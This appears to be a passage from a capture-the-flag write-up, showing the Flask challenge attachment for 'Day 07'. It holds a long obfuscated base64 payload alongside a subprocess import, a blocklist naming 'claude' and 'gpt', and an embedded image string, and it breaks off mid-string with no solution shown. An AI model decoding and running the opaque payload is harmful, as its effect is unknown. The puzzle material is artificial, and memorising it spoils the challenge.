ctf-writeups

Day 07

Attachment:

from flask import Flask, request, abort
import requests
import base64
import subprocess

PAYLOAD = 'SGRib2IuLSAtIW0sKyBtMDE3bWInMCM1Jy4mJisvYiEnOidiMSw2JyxiMitiPmJgSHlrP0h5ayIePxYQDRI5Zh54PxYRDQo5Zh5tbXgyNjYqYiwtYiUsKywsNzBiMCc0MCcRIh5qJS0ubCcuLTEsLSFiYmJiSDlifH9ia2pibhYRDQpibhYQDRJqLCc2MSsubDAnNDAnMUh5YB57dWxwdWx7dWxwdWAeYn9iFhENCmI2MSwtIUh5cnpiPj5iFhANEmw0LCdsMTEnIS0wMmJ/YhYQDRJiNjEsLSFISHlrP0g/YmJIeWtlfHMqbX4mLDctBGI2LQx8cyp+ZWomLCdsMScwYmJiYkh5az9iZS4vNiptNjonNmVieGUnMjsWbzYsJzYsLQFlYjlibnZydmomIycKJzYrMDVsMScwYmJiYkg5YicxLidiP2JiSD9iYmJiSHlrIh58cyptfj8nJSMxMScvbDAtMDAnOWYeYngOEBdiJSwrKiE2JyRiMC0wMAd8cyp+Ih5qJiwnbDEnMGJiYmJiYkh5az9iZS4vNiptNjonNmVieGUnMjsWbzYsJzYsLQFlYjlibnJyd2omIycKJzYrMDVsMScwYmJiYmJiSDliazAtMDAnamIqITYjIWI/YmJiYkh5azYsJzYsLSFqJiwnbDEnMGJiYmJiYkh5az9iZSwrIy4ybTY6JzZlYnhlJzI7Fm82LCc2LC0BZWI5Ym5ycnBqJiMnCic2KzA1bDEnMGJiYmJiYkh5a2o2Oic2bCcxLC0yMScwYjYrIzUjYn9iNiwnNiwtIWI2MSwtIWJiYmJiYkh5ay4wFzYnJTAjNmoqITYnJGI2KyM1I2J/YicxLC0yMScwYjYxLC0hYmJiYmJiSDliOzA2YmJiYkhIP2JiYmJIeSwwNzYnMGJiYmJiYkh5a2V8cyptfjAnNicvIzAjMmIuMDdiJSwrMTErD3xzKn5laiYsJ2wxJzBiYmJiYmJIeWs/YmUuLzYqbTY6JzZlYnhlJzI7Fm82LCc2LC0BZWI5Ym5ycnZqJiMnCic2KzA1bDEnMGJiYmJiYkg5YmsuMBc2JyUwIzZjamIkK2JiYmJISHkuMDdsOzAnNzNsLjAXJicxMCMyYn9iLjAXNiclMCM2YjYxLC0hYmJiYkg5YmtlKiE2JyRtZWJ/f39iJy8jLCo2IzJsLjAXJicxMCMy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BxBiKG9iNjEtKm8qNic0Yi1vYhYXEhYXDWIDb2IxJy4gIzYyK0gWEgcBAQNiKG9iNi0tMGIwJyw1LW8mKzdvb2IwJyw1LWIvb2I2MS0qbyo2JzRiLW9iFhcSFhcNYgNvYjEnLiAjNjIrSEgyN2ItLmI2JzFiKSwrLmIyK2InMCM1Jy4mJisvYiEnOidiMSw2JyxiMitIYmJic2xwdWx7dWxwdWIjKzRiNi43IyQnJmImJiNiJzY3LTBiMitiJzAjNScuJiYrL2IhJzonYjEsNicsYjIrSDI3YicwIzUnLiYmKy9vKjYnNGI2JzFiKSwrLmIyK2InMCM1Jy4mJisvYiEnOidiMSw2JyxiMitIJzAjNScuJiYrL28qNic0YjQnJmJ2cG17dWxwdWx7dWxwdWImJiNiMCYmI2IyK2InMCM1Jy4mJisvYiEnOidiMSw2JyxiMitISDI3YjYxLSpvKjYnNGI2JzFiKSwrLmIyK0g2MS0qbyo2JzRiNCcmYnZwbXNscHVse3VscHViJiYjYjAmJiNiMitIJzAjNScuJiYrL2IxLDYnLGInMCM1Jy4mJisvbyo2JzRiNicxYiksKy5iMitIJzAjNScuJiYrL28qNic0YicvIyxiMCcnMmIqNic0YicyOzZiNjEtKm8qNic0YiYmI2IpLCsuYjIrSCcwIzUnLiYmKy9iJiYjYjEsNicsYjIr'

app = Flask(__name__)

NAUGHTY_LIST = [
    'adamd',
    'kanak',
    'claude',
    'gpt',
]

DEFAULT_IMAGE = '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